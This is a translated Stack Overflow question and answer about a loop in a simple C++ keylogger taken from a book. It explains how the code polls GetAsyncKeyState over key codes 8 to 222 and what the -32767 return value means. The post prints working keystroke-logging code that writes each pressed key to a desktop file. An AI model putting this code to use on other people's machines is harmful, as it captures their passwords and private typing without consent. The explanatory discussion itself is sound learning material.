c++ - 这个 'for' 循环与键盘记录器有什么关系?

标签 c++ keylogger

我正在读一本关于编写键盘记录器的书,只是为了好玩;我遇到了这个“for”循环,但我对它的相关性感到困惑。

#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>

using namespace std;

void log();

int main()
{
    log();
    return 0;
}

void log()
{
    char c;

    for(;;)
    {
        for(c=8;c<=222;c++) // <<=== THIS LOOP HERE
        {
            if(GetAsyncKeyState(c) == -32767)
            {
                ofstream write("C:\\Users\\IEUser\\Desktop\\text.txt",ios::app);
                write<<c;
            }
        }
    }
}

根据我的理解,这意味着 C++ 将设置 c=8,并执行循环,递增直到达到 222,然后停止(但由于父循环,它会再次继续)。书上提到数字8和222表示ASCII码。

但我看不出它如何链接到获取我的输入!输入不是已经从 GetAsyncKeyState 派生出来了吗?

最佳答案

for(;;) 

无限循环一直在运行(监听)

for(c=8;c<=222;c++)

包含从 8 到 222 的运行值 [8,222]

GetAsyncKeyState(c) == -32767)

Determines whether a key is up or down at the time the function is called

所以现在您正在针对由 c 表示的 ASCI 进行测试。现在魔数(Magic Number) -32767 是什么意思?

如果我们以二进制形式写入 -32767,它会解析为 1000 0000 0000 0001。如您所见,最高有效位和最低有效位均已设置,因此根据描述,键已按下并且已被按下自上次调用 GetAsyncKeyState 以来一直在下降。

关于c++ - 这个 'for' 循环与键盘记录器有什么关系?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/70605685/

相关文章:

c++ - 如何将数据追加到已有数据的文件中

c++ - Sublime Text 中的 ctags

java - 我如何编写一个按键监听器来跟踪 Java 中的所有击键?

c++ - 用于保存按下的键的动态缓冲区 - C++

python - 导入错误 : No module named pywintypes

c++ - 如何在C++中实现模板类协变?

c++ - 头文件 C/C++ 中的符号

c++ - C++ 17的新功能是什么?

java - 什么是 "hook"以及如何用 Java 编写一个?以及如何与内核通信以了解用户按下的键/向操作系统注册

c++ - 函数在类中不起作用 - 函数调用缺少参数列表